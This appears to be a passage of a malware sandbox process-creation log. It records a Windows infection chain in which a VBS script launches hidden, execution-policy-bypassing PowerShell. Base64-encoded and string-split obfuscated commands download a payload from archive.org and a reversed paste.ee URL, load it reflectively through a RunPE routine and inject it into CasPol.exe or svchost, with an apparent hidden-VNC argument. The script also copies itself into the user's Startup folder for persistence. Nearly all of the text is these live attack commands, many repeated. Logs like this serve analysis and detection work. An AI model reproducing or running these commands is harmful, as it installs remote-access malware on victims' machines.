QVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrj